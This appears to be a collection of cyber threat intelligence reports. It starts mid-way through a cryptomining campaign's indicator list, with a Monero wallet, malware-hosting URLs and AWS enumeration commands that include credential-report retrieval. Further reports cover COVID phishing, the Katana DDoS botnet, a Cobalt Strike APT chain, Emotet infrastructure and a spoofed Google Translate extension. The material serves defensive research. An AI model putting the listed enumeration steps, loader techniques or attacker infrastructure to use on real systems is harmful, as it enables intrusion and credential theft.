| 825c60dd1bb32cd6b7e6686f425c461532093b1e9f6ca662c1ea9b07ec7e470b | chimaera/bin/xmrig-6.8.1-linux-static-x64.tar.gz |
| acea877b5e4eb9a4f89c0607872bd718e818775dd70044ba6bcede26b481d079 | chimaera/data/docker.container.local.spread.txt |
| d4084c84b21a24ec7a75b1700c65835edea55ac146e86f874941f9ea4bc30ecd | chimaera/init.sh |
### Monero Wallet
46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCmAUrFd3H
### URL Address
- 45.9.148[.]35/chimaera/bin/
- 45.9.148[.]35/chimaera/data/
- 45.9.148[.]35/chimaera/init/
- 45.9.148[.]35/chimaera/pl/
- 45.9.148[.]35/chimaera/py/
- 45.9.148[.]35/chimaera/sh/
- 45.9.148[.]35/chimaera/spread/
- 45.9.148[.]35/chimaera/up/
- pool.supportxmr[.]com
## Appendix
### IAM Command Summary
| IAM Command | AWS Link | Function Description |
|--------------------------------------|-----------------------------------|--------------------------------------------------------------------------------------|
| aws iam get-account-authorization-details | get-account-authorization-details | Retrieves information about all IAM users, groups, roles, and policies in your AWS account, including their relationships to one another. |
| aws iam get-account-password-policy | get-account-password-policy | Retrieves the password policy for the AWS account. |
| aws iam get-account-summary | get-account-summary | Retrieves information about IAM entity usage and IAM quotas in the AWS account. |
| aws iam list-account-aliases | list-account-aliases | Lists the account alias associated with the AWS account. (Note: You can have only one.) |
| aws iam list-groups | list-groups | Lists the IAM groups that have the specified path prefix. |
| aws iam list-instance-profiles | list-instance-profiles | Lists the instance profiles that have the specified path prefix. |
| aws iam list-open-id-connect-providers | list-open-id-connect-providers | Lists information about the IAM OpenID Connect (OIDC) provider resource objects defined in the AWS account. |
| aws iam list-policies | list-policies | Lists all the managed policies that are available in your AWS account, including your own customer-defined managed policies and all AWS managed policies. |
| aws iam list-roles | list-roles | Lists the IAM roles that have the specified path prefix. |
| aws iam list-saml-providers | list-saml-providers | Lists the SAML provider resource objects defined in IAM in the account. |
| aws iam list-server-certificates | list-server-certificates | Lists the server certificates stored in IAM that have the specified path prefix. |
| aws iam list-users | list-users | Lists the IAM users that have the specified path prefix. |
| aws iam list-virtual-mfa-devices | list-virtual-mfa-devices | Lists the virtual MFA devices defined in the AWS account by assignment status. |
| aws iam get-credential-report | get-credential-report | Retrieves a credential report for the AWS account. |
### AWS EC2 Commands Summary
| IAM Command | AWS Link | Function Description |
|--------------------------------------|-----------------------------------|--------------------------------------------------------------------------------------|
| aws ec2 describe-account-attributes | describe-account-attributes | Describes attributes of your AWS account. |
| aws ec2 describe-addresses | describe-addresses | Describes the specified Elastic IP addresses or all of your Elastic IP addresses. |
| aws ec2 describe-bundle-tasks | describe-bundle-tasks | Describes the specified bundle tasks or all of your bundle tasks. |
| aws ec2 describe-classic-link-instances | describe-classic-link-instances | Describes one or more of your linked EC2-Classic instances. |
| aws ec2 describe-conversion-tasks | describe-conversion-tasks | Describes the specified conversion tasks or all your conversion tasks. |
| aws ec2 describe-customer-gateways | describe-customer-gateways | Describes one or more of your VPN customer gateways. |
| aws ec2 describe-dhcp-options | describe-dhcp-options | Describes one or more of your DHCP options sets. |
| aws ec2 describe-export-tasks | describe-export-tasks | Describes the specified export instance tasks or all of your export instance tasks. |
| aws ec2 describe-flow-logs | describe-flow-logs | Describes one or more flow logs. |
| aws ec2 describe-host-reservations | describe-host-reservations | Describes reservations that are associated with Dedicated Hosts in your account. |
| aws ec2 describe-hosts | describe-hosts | Describes the specified Dedicated Hosts or all your Dedicated Hosts. |
| aws ec2 describe-images | describe-images | Describes the specified images (AMIs, AKIs, and ARIs) available to you or all of the images available to you. |
| aws ec2 describe-import-image-tasks | describe-import-image-tasks | Describes an import image task. |
| aws ec2 describe-import-snapshot-tasks | describe-import-snapshot-tasks | Describes your import snapshot tasks. |
| aws ec2 describe-instance-status | describe-instance-status | Describes the status of the specified instances or all of your instances. |
| aws ec2 describe-instances | describe-instances | Describes the specified instances or all instances. |
| aws ec2 describe-internet-gateways | describe-internet-gateways | Describes one or more of your internet gateways. |
| aws ec2 describe-key-pairs | describe-key-pairs | Describes the specified key pairs or all of your key pairs. |
| aws ec2 describe-moving-addresses | describe-moving-addresses | Describes your Elastic IP addresses that are being moved to the EC2-VPC platform, or that are being restored to the EC2-Classic platform. |
| aws ec2 describe-nat-gateways | describe-nat-gateways | Describes one or more of your NAT gateways. |
| aws ec2 describe-network-acls | describe-network-acls | Describes one or more of your network ACLs. |
### S3 Commands Summary
| IAM Command | AWS Link | Function Description |
|--------------------------------------|-----------------------------------|--------------------------------------------------------------------------------------|
| aws s3 ls | ls | List S3 objects and common prefixes under a prefix or all S3 buckets. |
### AWS Support Commands Summary
| IAM Command | AWS Link | Function Description |
|--------------------------------------|-----------------------------------|--------------------------------------------------------------------------------------|
| aws support describe-cases --include-resolved-cases | describe-cases | Lists the interconnects owned by the AWS account or only the specified interconnect. |
### AWS Direct Connect Commands Summary
| IAM Command | AWS Link | Function Description |
|--------------------------------------|-----------------------------------|--------------------------------------------------------------------------------------|
| aws directconnect describe-connections | describe-connections | Displays the specified connection or all connections in this Region. |
| aws directconnect describe-interconnects | describe-interconnects | Lists the interconnects owned by the AWS account or only the specified interconnect. |
| aws directconnect describe-virtual-gateways | describe-virtual-gateways | Lists the virtual private gateways owned by the AWS account. |
| aws directconnect describe-virtual-interfaces | describe-virtual-interfaces | Displays all virtual interfaces for an AWS account. |
### AWS CloudTrail Commands Summary
| IAM Command | AWS Link | Function Description |
|--------------------------------------|-----------------------------------|--------------------------------------------------------------------------------------|
| aws cloudtrail describe-trails | describe-trails | Retrieves settings for one or more trails associated with the current region for your account. |
| aws cloudtrail list-public-keys | list-public-keys | Returns all public keys whose private keys were used to sign the digest files within the specified time range. |
### AWS CloudFormation Commands Summary
| IAM Command | AWS Link | Function Description |
|--------------------------------------|-----------------------------------|--------------------------------------------------------------------------------------|
| aws cloudformation describe-account-limits | describe-account-limits | Retrieves your account's AWS CloudFormation limits, such as the maximum number of stacks that you can create in your account. |
| aws cloudformation describe-stacks | describe-stacks | Returns the description for the specified stack. If no stack name was specified, then it returns the description for all the stacks created. |
| aws cloudformation list-exports | list-exports | Lists all exported output values in the account and Region in which you call this action. |
| aws cloudformation list-stacks | list-stacks | Returns the summary information for stacks whose status matches the specified StackStatusFilter. |
|
# 5 Times More Coronavirus-themed Malware Reports during March
As the Coronavirus pandemic continues, cybercriminals have started piggybacking news of the crisis to deliver malware, conduct phishing, and even perform online fraud by preying on the panic caused by a dearth of medical supplies and reliable information about the pandemic.
The most recent Bitdefender telemetry shows unusual activity regarding Coronavirus-related threats: the number of malicious reports related to Coronavirus has increased by more than 475% in March, compared to February. These campaigns were likely mostly targeted at countries that have started suffering an increase in Coronavirus infections, leveraging the fear on everyone’s mind.
## Malicious Reports Soar in March
From 1,448 malicious reports in February to 8,319 reports until March 16th, the number has sharply increased, as the real COVID-19 virus spreads aggressively around the world. Some of the most-targeted verticals seem to be government, retail, hospitality, transportation, and education & research. These verticals are targeted as they actively interact with large groups of individuals and are most interested in learning more about measures to be taken to prevent a Coronavirus infection.
Consequently, one reason why cybercriminals have been actively targeting these verticals with phishing emails impersonating the WHO (World Health Organization), NATO, and even UNICEF is that employees likely expect official information from known, global organizations.
A breakdown into which government institutions seem targeted most reveals that education ministries, health ministries and departments, and fire services have been attacked most. In healthcare, hospitals & clinics, pharmaceutical institutions, and distributors of medical equipment were mostly targeted, potentially with messages of procedures that need to be taken, drugs that could work on preventing or treating infection, and even medical supplies that were allegedly still in stock.
For example, an email targeting healthcare services in Thailand promises new and exclusive information to medical staff. It uses the official logos of the Thailand Establishment of National Institute of Health. The email urges citizens, schools, commissioners, and business owners to follow the instructions in the attached document to stay “safe and free from the viruses.” It also claims the file contains a list of pharmacies that distribute “a qualified protective drug.” Anyone opening the tainted attachment will be infected with a Trojan, specifically the NanoBot Trojan.
Education & Research verticals, where messages reached universities, schools, and technical institutes, are all crowded places eagerly awaiting instructions on how to prepare for the Coronavirus outbreak. They too have been selectively targeted with spear-phishing emails.
A look at some of the tainted documents received by government institutions shows all filenames share the same “coronavirus” string and promise to offer new and exclusive information regarding the outbreak. Popular document booby traps range from claiming the email attachments are PDF documents when in fact they’re everything from “.exe” to “.bat” files. Unless users have the “File name extensions” option ticked in the View menu of File Explorer, they’ll likely fall for this double extension scam. The files are laced with malware and, as soon as they’re executed, they start deploying threats ranging from LokiBot and HawkEye to Kodiac and NanoBot.
Most of these Trojans, including NanoBot, are designed to steal information, such as usernames and passwords, potentially for use by threat actors either for financial profit or to gain remote access to accounts, services, and even endpoints.
## Going After Countries Aggressively Affected by COVID-19
In terms of the geographical distribution for all malicious reports involving the Coronavirus, things escalated quickly between January and March. In January, reports were coming in only from some countries such as the United States, China, and Germany. By March, malicious reports came in from all around the world, and no European country was spared.
In fact, during March, the largest number of malicious reports was registered from countries such as Italy, the United States, Turkey, France, the United Kingdom, Germany, Spain, Canada, Romania, and Thailand. All these countries have been seriously afflicted by the COVID-19 outbreak, which is why it’s likely these malware campaigns have been focusing specifically on these regions.
As if having to deal with the Coronavirus in real life wasn’t enough, threat actors have been exploiting panic, misinformation, and confusion in an attempt to maximize their efforts in spreading scams and infections or generally profiting off of everyone’s fears.
## Here’s what you should know
With countries straining to find ways to contain and even stop the spread of COVID-19 infections, the average user/citizen is undoubtedly seeking help and information from any online source on how to stay safe. However, that information may not always come from a reputable source.
Malware is a dime a dozen, and cybercriminals will stop at nothing to trick users into installing it. It may already be difficult to cope with the real-life virus, and dealing with cyber “viruses” is probably the last thing on anyone’s mind. However, just like in real life, good (security) hygiene means you’re not only keeping yourself safe but you’re also helping those around you. So carefully read through emails to make sure they’re legitimate, don’t open attachments unless you’re absolutely sure they’re safe, and try using a security solution that can keep you safe from a wide range of threats, so you can focus on what matters: keeping your family safe! |
# Technical Analysis of the DDoS Attacks against Ukrainian Websites
February 20, 2022
Last week the websites for several banks and government organizations in Ukraine were hit with a Distributed Denial-of-Service attack. Below we identify the likely source of the attacks as a botnet called Katana, with preparation for the attack starting at least as early as Sunday, February 13.
## Background
On February 15-16, a number of Ukrainian websites were taken offline due to Distributed Denial-of-Service (DDoS) attacks. The impacted sites included banks, government, and military websites. Both the United Kingdom and United States have subsequently attributed these attacks. The scale of the attacks was moderate, and the sites recovered within hours.
Some customers reported being unable to access the banking websites and, in very limited cases, ATMs. These attacks were compounded with fraudulent SMS messages sent to Ukrainian phones in an attempt to create panic. The text messages said, “Due to technical circumstances, Privatbank ATMs do not work on February 15. We apologize.” These messages were sent from Polish, Austrian, and Estonian numbers.
According to a report from the Ukrainian CERT, other activity was combined with the DDoS and SMS messages in an attempt to maximize the impact. This included:
- A denial of service attack against the .gov.ua DNS servers.
- A BGP hijacking attack against the Privatbank IP space causing difficulties routing traffic to their network.
## Identifying The Source of the Attacks – Katana Botnet
According to the Ukrainian CERT, 360Netlab, and BadPackets, the source of these attacks is a Mirai botnet with the command and control IP 5.182.211.5. The following two malware samples talk to this IP:
- **Filename:** KKveTTgaAAsecNNaaaa.mips
**Filesize:** 148 KB
The sandbox report records it communicating with the IP 5.182.211.5 on the port 60195. This was the sample reported by Bad Packets.
- **Filename:** a2b1d5g2e5t8vc.elf
**Filesize:** 98 KB
The filenames (KKveTTgaAAsecNNaaaa and a2b1d5g2e5t8vc) match a botnet named Katana, which is a variant of Mirai with improved DDoS capabilities.
Katana is a fork of Mirai, originally available for purchase for 500 Euros but now freely available online.
## Delivery
A number of vulnerable Avtech network cameras are publicly accessible and were exploited by the attacker to perform the DDoS. Due to how the exploit works, they show the records of their exploitation publicly. For example, an XML file is being served from a compromised camera on port 8080. A file was uploaded to VirusTotal on Sunday, February 13, matching these delivered attacks, indicating the attackers started compromising systems at least a few days before the DDoS attacks on Tuesday, February 15.
## The Bigger Picture
While the attacks were not particularly successful, the combination of a number of different methods implies a level of sophistication above most DDoS attacks. The intention behind these attacks can be seen in the context of previous malicious activity.
We previously reported on the defacement of Ukrainian websites in January 2022, intended to create a sense of panic. Those who follow cyber-attacks in the region will be familiar with the DDoS attacks using BlackEnergy malware preceding the 2008 Georgian conflict and destructive attacks against Ukraine’s Power Grid in 2015.
On Wednesday, Mykhailo Fedorov, Ukraine’s minister of digital transformation, spoke to the likely intention behind these attacks. He said, “This attack was unprecedented, it was prepared well in advance, and its key goal was destabilization, sowing panic and creating chaos in our country.”
On Friday, White House deputy national security adviser for cyber Anne Neuberger went further. Thankfully, the websites were restored quickly, and if the intention was to create a sense of panic, they failed.
For advice on mitigating possible further attacks, you can review the latest advice from CISA. |
# Multi-stage APT Attack Drops Cobalt Strike Using Malleable C2 Feature
**Threat Intelligence Team**
June 17, 2020
This blog post was authored by Hossein Jazi and Jérôme Segura.
On June 10, we found a malicious Word document disguised as a resume that uses template injection to drop a .Net Loader. This is the first part of a multi-stage attack that we believe is associated with an APT attack. In the last stage, the threat actors used Cobalt Strike’s Malleable C2 feature to download the final payload and perform C2 communications.
This attack is particularly clever for its evasion techniques. For instance, we observed an intentional delay in executing the payload from the malicious Word macro. The goal is not to compromise the victim right away, but instead to wait until they restart their machine. Additionally, by hiding shellcode within an innocuous JavaScript and loading it without touching the disk, this APT group can further thwart detection from security products.
## Lure with Delayed Code Execution
The lure document was probably distributed through spear phishing emails as a resume from a person allegedly named “Anadia Waleed.” At first, we believed it was targeting India, but it is possible that the intended victims could be more widespread.
The malicious document uses template injection to download a remote template from the following URL:
`https://yenile[.]asia/YOOMANHOWYOUDARE/indexb.dotm`
The domain used to host the remote template was registered on February 29, 2020, by someone from Hong Kong. Creation time for the document is 15 days after this domain registration.
The downloaded template, “indexa.dotm,” has an embedded macro with five functions:
- Document_Open
- VBA_and_Replace
- Base64Decode
- ChangeFontSize
- FileFolderExist
The following shows the function graph of the embedded macro. The main function is Document_Open, which is executed upon opening the file. This function drops three files into the victim’s machine:
- **Ecmd.exe**: UserForm1 and UserForm2 contain two Base64 encoded payloads. Depending on the version of the .Net framework installed on the victim’s machine, the content of UserForm1 (in case of .Net v3.5) or UserForm2 (other versions) is decoded and stored in “C:\ProgramData.”
- **cf.ini**: The content of the “cf.ini” file is extracted from UserForm3 and is AES encrypted, which later on is decrypted by ecmd.exe.
- **ecmd.exe.lnk**: This is a shortcut file for “ecmd.exe” and is created after Base64 decoding the content of UserForm4. This file is dropped in the Startup directory as a trigger and persistence mechanism.
Ecmd.exe is not executed until after the machine reboots.
ChangeFontSize and VBA_and_Replace functions are not malicious and probably have been copied from public resources to mislead static scanners.
## Intermediary Loader
Ecmd.exe is a .Net executable that pretends to be an ESET command line utility. The executable has been signed with an invalid certificate to mimic ESET, and its version information shows that this is an “ESET command line interface” tool.
Ecmd.exe is a small loader that decrypts and executes the AES encrypted cf.ini file mentioned earlier. It checks the country of the victim’s machine by making an HTTP post request to “http://ip-api.com/xml.” It then parses the XML response and extracts the country code.
If the country code is “RU” or “US,” it exits; otherwise, it starts decrypting the content of “cf.ini” using a hard-coded key and IV pair.
The decrypted content is copied to an allocated memory region and executed as a new thread using VirtualAlloc and CreateThread APIs.
## ShellCode (cf.ini)
A Malleable C2 is a way for an attacker to blend in command and control traffic (beacons between victim and server) with the goal of avoiding detection. A custom profile can be created for each target.
The shell code uses the Cobalt Strike Malleable C2 feature with a jQuery Malleable C2 profile to download the second payload from “time.updateeset[.]com.”
This technique has been used by two other recent Chinese APTs—Mustang Panda and APT41.
The shellcode first finds the address of ntdll.exe using PEB and then calls LoadLibraryExA to load Winint.dll. It then uses InternetOpenA, InternetConnectA, HttpOpenRequestA, InternetSetOptionA, and HttpSendRequestA APIs to download the second payload. The API calls are resolved within two loops and then executed using a jump to the address of the resolved API call.
The malicious payload is downloaded by InternetReadFile and is copied to an allocated memory region.
Considering that communication is over HTTPS, Wireshark is not helpful to spot the malicious payload. Fiddler was not able to give us the payload either. Using Burp Suite proxy, we were able to successfully verify and capture the correct payload downloaded from time.updateeset[.]com/jquery-3.3.1.slim.min.js. As can be seen, the payload is included in the jQuery script returned in the HTTP response.
After copying the payload into a buffer in memory, the shellcode jumps to the start of the buffer and continues execution. This includes sending continuous beaconing requests to “time.updateeset[.]com/jquery-3.3.1.min.js” and waiting for the potential commands from the C2.
Using Hollow Hunter, we were able to extract the final payload, which is Cobalt Strike, from ecmd’s memory space.
## Attribution
A precise attribution of this attack is a work in progress, but here we provide some insights into who might be behind this attack. Our analysis showed that the attackers excluded Russia and the US. The former could be a false flag, while the latter may be an effort to avoid the attention of US malware analysts.
As mentioned before, the domain hosting the remote template is registered in Hong Kong, while the C2 domain “time.updateeset[.]com” was registered under the name of an Iranian company called Ehtesham Rayan on Feb 29, 2020. The company used to provide AV software and is seemingly closed now. However, these are not strong or reliable indicators for attribution.
In terms of TTPs used, Chinese APT groups such as Mustang Panda and APT41 are known to use jQuery and the Malleable C2 feature of Cobalt Strike. Specifically, the latest campaign of Mustang Panda has used the same Cobalt Strike feature with the same jQuery profile to download the final payload, which is also Cobalt Strike. This is very similar to what we saw in this campaign; however, the initial infection vector and first payload are different in our case.
## IOCs
- **Anadia Waleed resume.doc**
`259632b416b4b869fc6dc2d93d2b822dedf6526c0fa57723ad5c326a92d30621`
- **Remote Template: indexa.dotm**
`7f1325c5a9266e649743ba714d02c819a8bfc7fd58d58e28a2b123ea260c0ce2`
- **Remote Template URL:**
`https://yenile[.]asia/YOOMANHOWYOUDARE/`
- **C2:**
`time.updateeset[.]com`
- **Ecmd.exe:**
`aeb4c3ff5b5a62f5b7fcb1f958885f76795ee792c12244cee7e36d9050cfb298`
`dcaaffea947152eab6572ae61d7a3783e6137901662e6b5b5cad82bffb5d8995`
`5f49a47abc8e8d19bd5ed3625f28561ef584b1a226df09d45455fbf38c73a79c`
- **cf.ini:**
`0eba651e5d54bd5bb502327daef6979de7e3eb63ba518756f659f373aa5f4f8b`
- **Cf.ini shell-code after decryption:**
`5143c5d8715cfc1e70e9db00184592c6cfbb4b9312ee02739d098cf6bc83eff9`
- **Cobalt Strike downloaded shellcode:**
`8cfd023f1aa40774a9b6ef3dbdfb75dea10eb7f601c308f8837920417f1ed702`
- **Cobalt Strike payload:**
`7963ead16b6277e5b4fbd5d0b683593877d50a6ea7e64d2fc5def605eba1162a` |
# ENISA Threat Landscape for Ransomware Attacks
This report aims to bring new insights into the reality of ransomware incidents through mapping and studying ransomware incidents from May 2021 to June 2022. Based on the findings, ransomware has adapted and evolved, becoming more efficient and causing more devastating attacks.
**Published:** July 29, 2022
**Language:** Executive summary |
# Examining Emotet’s Activities and Infrastructure
We conducted comprehensive research on Emotet’s artifacts — 8,528 unique URLs, 5,849 document droppers, and 571 executables collected between June 1, 2018, and September 15, 2018 — to discover its infrastructure as well as possible attribution information.
Discovered by Trend Micro in 2014, the banking Trojan Emotet has been revived by malware authors with its own spamming module that has allowed it to spread, target new industries and regions, and evade sandbox and malware analysis techniques. This year, we examined Emotet’s activities to learn more about how this modular malware wreaks havoc.
## Key Findings
1. We discovered that there are at least two infrastructures running parallel to one another that support the Emotet botnet. By grouping the C&C servers and the RSA keys of the malware, we identified two distinct groups of infrastructures. The threat actors switched RSA keys on a monthly basis. While the next-stage payloads each group pushed do not show any major difference in terms of purpose or targets, the differing infrastructures may be designed to make it more difficult to track Emotet and minimize the possibility of failure.
2. Multilayer operating mechanisms might have been adopted in the creation of Emotet’s artifacts. The inconsistency between the activity patterns shows that the infrastructure used to create and spread document droppers differs from those used to pack and deploy Emotet executables. The creation of document droppers stops during non-working hours between 1:00 to 6:00 (UTC). Meanwhile, there might be three sets of machines used to pack and deploy Emotet’s executable payloads, two of which are probably set to the time zones UTC +0 and UTC +7, respectively.
3. The author of the Emotet malware may reside in the UTC+10 time zone or further east. After grouping the executable samples by their unpacked payloads’ compilation timestamps, we found two sample groups that showed an inconsistency between the compilation timestamps and the corresponding first-seen records in the wild. This suggests that the compilation timestamps may reflect the local time on the malware author’s machine.
## Emotet’s Two Infrastructures
We collected and analyzed 571 executable samples of Emotet. The configuration inside an executable includes a list of C&C servers and an RSA key for connection encryption. There were only six unique RSA public keys extracted from the executable samples. Each RSA key has a 768-bit modulus and uses the public exponent 65537.
| Key Name | CRC32 | Emotet Group |
|----------|-----------|--------------|
| A | fcb2fb3b | 1 |
| B | 86e9acef | 1 |
| C | ceff5362 | 1 |
| D | fc8e8aaa | 2 |
| E | 8f1eb5e | 2 |
| F | aef0def8 | 2 |
Meanwhile, Emotet’s C&C server is an IP/port pair on top of its HTTP protocol. We extracted 721 unique C&C servers in total. On average, one Emotet sample contains 39 C&C servers, with a maximum of 44 and a minimum of 14. Based on our observation, only a few C&C servers embedded in a single Emotet sample are actually active.
Most of the C&C servers are located in the United States, Mexico, and Canada. The top 3 ASN connected to Emotet are ASN7922, ASN8151, and ASN22773.
We visualized the relationship between each RSA key and its set of C&C servers and discovered that there were two RSA key groups. Keys A, B, and C were in one group (Group 1), and keys D, E, and F were in another (Group 2). These two distinct groups do not share C&C servers.
| Month | June | July | August | September |
|------------------------------|--------------------|--------------------|--------------------|--------------------|
| Keys used by Group 1 | fcb2fb3b (A) | 86e9acef (B) | 86e9acef (B) | ceff5362 (C) |
| Keys used by Group 2 | fc8e8aaa (D) | 8f1eb5e (E) | | aef0def8 (F) |
Our analysis shows a link between the dates the RSA keys were received and the two groups’ activities: each RSA key was observed to have been used for one month before the threat actors switched to another RSA key on the first working day of the succeeding month.
We also observed that there were more artifacts belonging to Group 1 compared to those in Group 2. Based on our data, we received 469 unpacked Emotet samples for Group 1 and 102 for Group 2, respectively. We did not find any activity for Group 2 for the month of August.
## Two Different Emotet Groups, Two Different Agendas?
Our initial assumption was that the two Emotet groups were created for different purposes or are being utilized by different operators. However, we did not find any major difference between the IoCs under these two groups. For instance, TrickBot with gtag arz1 was found to have been sent by Group 1 on September 20 and by Group 2 the next day. Without any strong evidence, we can only suggest that the two groups might be different infrastructures designed to make tracking Emotet more difficult and help minimize the possibility of failure.
| Date | Emotet Group | RSA Key | Next-stage Payload |
|------------|--------------|---------|---------------------------|
| 2018-07-03 | 2 | E | Panda Banker |
| 2018-07-09 | 1 | B | Panda Banker |
| 2018-07-16 | 2 | E | Panda Banker |
| 2018-07-19 | 2 | E | Panda Banker |
| 2018-07-30 | 1 | B | Panda Banker |
| 2018-07-31 | 1 | B | Panda Banker |
| 2018-08-08 | 1 | B | Trickbot |
| 2018-08-10 | 1 | B | Panda Banker |
| 2018-08-13 | 1 | B | Panda Banker |
| 2018-08-14 | 1 | B | Panda Banker |
| 2018-08-15 | 1 | B | Panda Banker |
| 2018-08-16 | 1 | B | Panda Banker |
| 2018-08-22 | 1 | B | Panda Banker |
| 2018-08-24 | 1 | B | Panda Banker |
| 2018-08-26 | 1 | B | Panda Banker |
| 2018-09-04 | 2 | F | IcedID, TrickBot |
| 2018-09-05 | 2 | F | IcedID, AZORult |
| 2018-09-06 | 1 | C | IcedID, AZORult |
| 2018-09-14 | 1 | C | TrickBot gtag: del72 |
| 2018-09-20 | 1 | C | TrickBot gtag: arz1 |
| 2018-09-21 | 2 | F | TrickBot gtag: arz1, del77, jim316, lib316 |
## Compiling Emotet’s Source Code for Each Infrastructure
Emotet payloads are protected by customized packers and obfuscators. We studied the compilation timestamps against each sample before and after packing and saw that some of the timestamps in packed samples were forged, while some seemed legitimate. The samples with legitimate timestamps show just a few minutes difference from being compiled to when they were found in the wild.
Even though the compilation timestamp might be bogus, we decided to analyze the unpacked Emotet samples and saw that their timestamps seem legitimate. Out of 571 unpacked Emotet samples, only 11 distinct compilation timestamps were found. If the timestamp is forged during every compilation, the samples compiled with the same pieces of code should contain identical code sections but with different compilation timestamps. However, we found that the unpacked samples with the same timestamp share the identical code section, while differences can be found among those with different timestamps. The changes between the different timestamps also seem to be new-version updates.
Data shows that the actor might have used automatic tools or scripts to compile Emotet’s source code for each infrastructure, since a number of unique samples share the same compilation timestamp. The data also indicates that the actors prepared the payload for Groups 1 and 2 sequentially. For example, on June 3, 2018, 46 Emotet samples were generated at 20:08 UTC by using Group 1’s RSA public key and C&C servers. Two minutes later, 37 other Emotet samples were generated.
We noticed that the attackers tended to update Emotet samples on Monday or Wednesday (UTC). The code section is exactly the same among the samples that had the same compilation timestamp. The only difference is the C&C servers embedded in the data section. It is possible that each time a source code is compiled, several C&C servers on the attacker’s control list were chosen for generating a new sample.
| Emotet Group | RSA Key | Compilation Timestamp in Epoch | Payload's Compilation Timestamp (UTC) | Unique Sample Count |
|---------------|---------|--------------------------------|---------------------------------------|---------------------|
| 1 | A | 1528056487 | 2018-06-03 20:08:07 | 56 |
| 2 | D | 1528056680 | 2018-06-03 20:11:20 | 38 |
| 1 | B | 1530547690 | 2018-07-02 16:08:10 | 28 |
| 2 | E | 1530547815 | 2018-07-02 16:10:15 | 25 |
| 1 | B | 1531161666 | 2018-07-09 18:41:06 | 31 |
| 2 | E | 1531161732 | 2018-07-09 18:42:12 | 18 |
| 2 | E | 1531899206 | 2018-07-18 07:33:26 | 57 |
| 2 | E | 1531906587 | 2018-07-18 09:36:27 | 5 |
| 1 | B | 1532502303 | 2018-07-25 07:05:03 | 276 |
| 1 | C | 1536011873 | 2018-09-03 21:57:53 | 21 |
| 2 | F | 1536011945 | 2018-09-03 21:59:05 | 16 |
We will release more information about Emotet’s technical details and possible attribution-related intelligence at a later time. |
# Comeback of Emotet
**Security Lab**
November 16, 2021
## Summary
Hornetsecurity observes that the Emotet botnet became active after its shutdown in January 2021. Hornetsecurity’s Security Lab has identified new Emotet malspam campaigns in the wild.
## Background
Emotet (also known as Heodo) was first observed in 2014. It was a banking trojan stealing banking details and login credentials from victims. However, it pivoted to a malware-as-a-service (MaaS) operation providing malware distribution services to other cybercriminals. Today, Emotet is probably the most prolific malware distribution operation. It steals the emails of its victims and replies to the victim’s previous conversations, a tactic known as email conversation thread hijacking.
On January 27, 2021, Europol announced that an international coordinated law enforcement and judicial action had disrupted the Emotet botnet, and investigators took control of Emotet’s infrastructure. The Emotet botnet was subsequently shut down by law enforcement.
## The Comeback
On November 15, 2021, TrickBot malware was installed via malspam, which downloaded and installed the Emotet malware. Subsequently, the Emotet botnet was rebuilt and started to send malspam from its botnet again. They sent different malicious documents (XLSM and DOCM). In some cases, the malicious documents were also placed in encrypted ZIP archives, with the passwords in plain text in the emails.
As previously stated, Emotet used email conversation thread hijacking, meaning it steals the emails of its victims and replies (often even from the victim’s account) to existing email conversations, quoting the previous conversation. This makes victims very susceptible to these Emotet emails.
## Countermeasures
Hornetsecurity’s technical defense mechanisms do not get fooled by social engineering techniques such as the employed email conversation thread hijacking. Hornetsecurity’s Advanced Threat Protection combats the Emotet threat with the following features:
- Malicious document decryption can use the password listed in the email to decrypt the encrypted ZIP archives.
- Hornetsecurity’s ATP sandbox will detect the malicious documents (even if previously unknown).
With the details mentioned above, we strictly recommend our Advanced Threat Protection services for adequate protection against sophisticated adversaries such as Emotet, who may change their attack patterns at any given time. Signatures for known malicious Emotet documents will be added to Hornetsecurity’s Spam and Malware Protection to protect customers that do not have ATP services booked. |
# ABCsoup: The Malicious Adware Extension with 350 Variants
**July 7, 2022**
**Nipun Gupta**
## What can ABCsoup do?
Recently, Zimperium discovered and began monitoring the growth of a wide range of malicious browser extensions with the same extension ID as that of Google Translate, deceiving users into believing that they have installed a legitimate extension. Similar to app spoofing and cloning, these malicious applications look legitimate, but underneath the surface lies code that puts personal and enterprise data at risk. These malicious extensions can perform a wide variety of attacks based on the attacker’s purpose, as the malware includes a JavaScript injection method from the attacker’s controlled server.
This rising vector of attack is not limited to one specific browser. This family, codenamed ABCsoup, targets three popular browsers: Google Chrome, Opera, and Firefox. These Google Translate spoofing browser extensions are installed onto a victim’s machine via a Windows-based executable, bypassing most endpoint security solutions, along with the security controls found in the official extension stores.
The extension’s main logic confirms that this family is an adware campaign along with some script injection functionality which can be further abused for other malicious actions such as phishing, stealing credentials/cookies, etc.
## How does ABCsoup work?
Each browser extension present in the Chrome Web Store is uniquely identified with an extension ID. This ID doesn’t change from different versions of the same extension and is used by the browser to identify installed add-ons.
The extension ID `aapbdbdomjkkjkaonfhkkikfgjllcleb` belongs to Google Translate. However, the malicious actors behind ABCsoup are using the key variable in the manifest to create extensions with the same extension ID. The threat actors retrieved this key variable from the `manifest.json` file of the Google Translate extension.
Security controls limit the ABCsoup malicious extension from being accepted by any browser webstore, forcing the malicious actors to deliver these extensions to victims using sideloading methods. While performing this research, we found several Windows executables installing different versions of these extensions. However, since this is a browser threat, other delivery methods may exist targeting browsers in other operating systems.
The Windows executables are packed with malicious extensions. Upon running these executables, the malicious extension is dropped at the correct location respective to the browser, and the registry file is modified. When the user reopens the browser, it includes this malware extension. If this extension is installed after Google Translate, it will replace the original Google Translate extension as the version number of the malicious extension is higher than the version number of the legitimate one.
After the malicious executable is executed on the victim’s computer, a log request is sent to the C&C domain. This log request contains the logs of all three browsers along with `cpuid`, username, and a few other parameters.
Next, we will discuss the case when this extension is installed in the Google Chrome browser.
**Version number of malware:** 30.2.5
**Version number of latest Google Translate:** 2.0.10
Here it is clear that the Extension ID of the ABCsoup malicious extension is similar to the ID of Google Translate. Furthermore, when this extension is installed, Chrome WebStore assumes that it is Google Translate and not the malicious extension since the WebStore only checks for extension IDs. A similar extension ID is achieved using the key variable in `manifest.json` of the extension.
As part of our extensive research into this attack vector, we discovered over 350 variants of ABCsoup. Almost all of the variants are focused on malicious purposes, the most popular of which are pop-ups, collection of personal information to deliver target-specific ads, fingerprinting searches, and injecting malicious JavaScript. The malicious JavaScript code can act as spyware by collecting user keystrokes and monitoring web traffic during a browser session.
